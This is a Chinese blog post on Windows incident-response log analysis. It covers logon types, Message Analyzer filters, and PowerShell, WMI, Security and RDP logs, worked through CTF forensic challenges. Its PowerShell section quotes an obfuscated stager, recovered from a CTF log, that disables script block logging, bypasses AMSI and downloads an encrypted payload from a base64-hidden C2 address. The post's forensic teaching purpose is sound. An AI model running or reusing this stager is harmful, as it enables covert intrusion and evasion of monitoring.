Windows应急响应-日志篇

Windows应急响应-日志篇

市面上的应急响应太乱太杂,还有点简单,而且大多是理论,所以重新写一下(

Windows事件ID

eventid右键group,看summary,即可知道该id代表的具体的信息

image.png

登录类型 ID

成功/失败登录事件提供的有用信息之一是用户/进程尝试登录(登录类型),但 Windows 将此信息显示为数字,下面是数字和对应的说明:

登录类型登录类型描述
2Interactive用户登录到本机
3Network用户或计算手机从网络登录到本机,如果网络共享,或使用 net use 访问网络共享,net view 查看网络共享
4Batch批处理登录类型,无需用户干预
5Service服务控制管理器登录
7Unlock用户解锁主机
8NetworkCleartext用户从网络登录到此计算机,用户密码用非哈希的形式传递
9NewCredentials进程或线程克隆了其当前令牌,但为出站连接指定了新凭据
10Remotelnteractive使用终端服务或远程桌面连接登录
11Cachedlnteractive用户使用本地存储在计算机上的凭据登录到计算机(域控制器可能无法验证凭据),如主机不能连接域控,以前使用域账户登录过这台主机,再登录就会产生这样日志
12CachedRemotelnteractive与 Remotelnteractive 相同,内部用于审计目的
13CachedUnlock登录尝试解锁

日志目录

C:\Windows\System32\winevt\Logs

image.png

日志分析工具-MessageAnalyzer

https://learn.microsoft.com/en-us/message-analyzer/viewing-message-data

多文件导入功能

点击new session、files

image.png

添加colum、group功能

右边的field chooser-add as column实际添加显示的列

image.png

右键group则是分类,一列数据有多少种,可以叠加使用
image.png

filter功能

&& — 表示逻辑与函数
|| — 表示逻辑或函数
!— 表示逻辑 NOT 函数。通常用于否定。
== — 等于。计算两个过滤器表达式操作数是否相等的运算符。
!= — 不等于。一个运算符,用于评估两个过滤器表达式操作数的值不相等。请注意,此运算符还将不存在评估为一种否定形式。
~= — 不等于。此运算符仅否定值的条件,但不会将不存在评估为否定形式。

过滤器表达式TCP.SourcePort != 443返回所有SourcePort值不等于443的TCP消息,以及所有非TCP消息。
过滤器表达式TCP.SourcePort ~= 443取反该值的条件,将返回源端口不等于443的 TCP 消息,但不会包括非TCP消息。

> — 大于
>= — 大于或等于
< — 小于
<= — 小于或等于
in — 数组、集合或映射。
例如:IPv4.Address in [192.0.1.1, 192.0.0.0, 192.0.0.2]或TCP.SourcePort in [6608, 6609, 6610]。

布尔运算符和按位运算符:|、^、&、~ 和 !。
移位运算符:<< 和 >>。
算术运算符:+、-、*、/ 和 %
TCP.SourcePort + 1 == TCP.DestinationPort / 2

大多数找到相应的值然后右键添加filter即可

image.png

track功能

右键track即可跟踪该字段,在爪子符号的栏目中可以看到

image.png
删除点stop即可

image.png

右键include hex for numeric value可以显示他的值

image.png

property和filed的区别

filed是EventLog下的字段,也是用Windows直接点开日志文件所能看见的信息的字段

image.png
property即箭头指的部分,则是global annotations和global properties的字段

image.png

查找字符串

没研究出怎么查字符串,理论上这样就可以,但是会显示为空

image.png

Windows自带的事件查看器倒是可以查找

image.png

后来发现是要加前缀

EventLog.Message contains ""

image.png

日志分析入手点

1、注意LeverDisplayName是信息还是警告

image.png

2、根据事件ID

image.png

PowerShell日志

跟powershell有关的有以下四个日志

image.png

其中最重要的是Microsoft-Windows-PowerShell%4Operational,即操作日志,

Microsoft-Windows-PowerShell%4Admin,即admin日志

Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager%4Operational是powershell下载文件日志

Windows PowerShell主要记录一些基本信息,无安全相关

事件ID 400:引擎状态从无更改为可用,记录任何本地或远程PowerShell活动的开始;
事件ID 600:记录类似“WSMan”等提供程序在系统上进行PowerShell处理活动的开始,比如”Provider WSMan Is Started“;
事件ID 403:引擎状态从可用状态更改为停止,记录PowerShell活动结束。

400403事件的消息详细信息包括HostName字段。如果在本地执行,则此字段将记录为HostName = ConsoleHost。如果正在使用PowerShell远程处理,则访问的系统将使用HostName = ServerRemoteHost记录这些事件。两条消息都不记录与PowerShell活动关联的用户帐户。但是通过使用这些事件,可以确定PowerShell会话的持续时间,以及它是在本地运行还是通过远程运行

DownUnderCTF 2022 DFIR Investigation powershell取证部分

4104是远程命令执行的事件ID,字段是ScriptBlockText,在Microsoft-Windows-PowerShell%4Operational.evtx中

image.png

也可以用Microsoft Message Analyzer

image.png

If($PSVERSiOnTAblE.PSVerSIOn.MajOr -gE 3){$f0C32=[ref].ASseMBLy.GEtTyPE('System.Management.Automation.Utils')."GETFiE`LD"('cachedGroupPolicySettings','N'+'onPublic,Static');If($f0C32){$eA761=$f0c32.GetVaLuE($NULL);IF($Ea761['ScriptB'+'lockLogging']){$Ea761['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$eA761['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$Val=[ColLECtiONs.GeNEric.DIctioNAry[strIng,SystEm.ObJEct]]::neW();$vAL.ADd('EnableScriptB'+'lockLogging',0);$VaL.AdD('EnableScriptBlockInvocationLogging',0);$eA761['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$Val}ELsE{[SCriPTBlOCK]."GETFIe`LD"('signatures','N'+'onPublic,Static').SeTVAlUE($NULl,(New-ObjECT COllECtIONs.GeneRiC.HAshSet[StRiNG]))}$Ref=[ReF].ASsEmbLY.GetTyPE('System.Management.Automation.Amsi'+'Utils');$ReF.GEtFIelD('amsiInitF'+'ailed','NonPublic,Static').SETVALUe($nULL,$TRUe);};[SYStEm.Net.ServiCePOintMaNagER]::ExpECt100ConTinuE=0;$B3904=New-OBjECT SYsTEM.Net.WEbClIent;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([TexT.EncODinG]::UNICOdE.GETStRiNg([CONvErt]::FrOMBaSe64StRING('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIANwA6ADcANwA3ADcA')));$t='/news.php';$B3904.HEadErS.AdD('User-Agent',$u);$b3904.PROXY=[SYSTeM.NEt.WebREQuESt]::DefaUlTWebPrOxY;$B3904.Proxy.CredeNTIalS = [SySTeM.NEt.CREdEntIaLCAChe]::DEFAuLtNETworKCreDEntIals;$Script:Proxy = $b3904.Proxy;$K=[SysteM.Text.ENCoDInG]::ASCII.GEtBYtes('/Y0dzf;_)NkL^~M#K(xG]*rOFe,C}2%R');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COunT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$B3904.HeaderS.ADD("Cookie","lvzoFoofzAIvDVtv=R7eEC+1KSXf3X+sUQhz2DF+NSjQ=");$DATa=$b3904.DOWnLOAdDATA($SEr+$T);$iv=$Data

命令中有一段base64解一下

image.png

WMI日志

C:\Windows\System32\wbem\Repository\目录下的OBJECTS.DATA,是 WMI 存储库,记录持久化 WMI 对象

可以直接打开,也可以用PyWMIPersistenceFinder

WMI 事件类型

  • 内部事件(Intrinsic)

NamespaceOperationEvent ClassCreationEvent

NamespaceModificationEvent InstanceOperationEvent

NamespaceDeletionEvent InstanceCreationEvent

NamespaceCreationEvent MethodInvocationEvent

ClassOperationEvent InstanceModificationEvent

ClassDeletionEvent InstanceDeletionEvent

ClassModificationEvent TimerEvent

ConsumerFailureEvent EventDroppedEvent

EventQueueOverflowEvent MethodInvocationEvent

  • 外部事件(Extrinsic)

ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent

内部事件查询(由于轮询方式,需要使用 WITHIN 子句指定轮询间隔)

每隔30秒查询一次后缀为"doc"和"docx"的文件操作:
SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx")

外部事件查询(等效于实时)

可移动设备(EventType=2)插拔:
SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2

DownUnderCTF 2022 DFIR Investigation WMI取证部分

image.png

这个命令是WMI的语法,设置了一个计时器(TargetInstance)

也可以用https://github.com/davidpany/WMI_Forensics.git进行解析python2 PyWMIPersistenceFinder.py OBJECTS.DATA

image.png

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute= 38 GROUP WITHIN 60
TargetInstance.Hour = 12 AND TargetInstance.Minute= 38

所以下次执行就是就是12:38

Security日志

存储登录安全相关的信息,比如用户登录

首届数据安全大赛 BuleTeam1

筛选找到4625,即登陆失败的事件id。newguest

image.png

首届数据安全大赛 BuleTeam2

筛选EventLog.TaskDisplayName == "Logon",然后按照事件排序,一开始都是正常的,后来都是登陆失败,找到登陆失败后的第一次成功

image.png

没有ip,但是知道了用户是ming

筛选:(EventLog.TaskDisplayName == "Logon") and (EventLog.EventData["TargetUserName"] == "ming")

找到ip是192.168.13.1

image.png

往上翻翻可以看见第一次是1825,通过NTLM进来的

image.png

System日志

存储系统组件日志

2022 蓝帽杯 神秘的日志

ntlm relay中肯定存在用户登录行为,需要注意4624和4627,但是题目给出的4624日志太多了,需要找到一个时间点,这就需要通过Windows事件日志6038可以审核NTLM的使用情况:

Microsoft Windows Server 检测到客户端与此服务器之间当前正在使用 NTLM 身份验证。当客户端与此服务器之间第一次使用 NTLM 时,每次启动服务器都会发生此事件。

在 system 日志中找到了一个6038日志的记录:

image.png

根据6038日志的时间(2022/4/17 11:27:06)在security日志中寻找该时间的logon日志

WinRM日志

Windows远程管理(WinRM)服务实现其远程处理功能,也可能记录远程PowerShell活动:

Microsoft-Windows-WinRM/Operational.evtx  
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx  
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational.evtx  
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx

接首届数据安全大赛 BuleTeam2,在Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational.evtx中发现是远程登录,可以判断是3389端口

image.png

其他日志文件会在域渗透的应急响应里写(如果不鸽的话)

  • 发表于 2023-03-01 09:25:03
  • 阅读 ( 11238 )
  • 分类:应急响应

0 条评论

请先 登录 后评论
mon0dy
mon0dy

12 篇文章

站长统计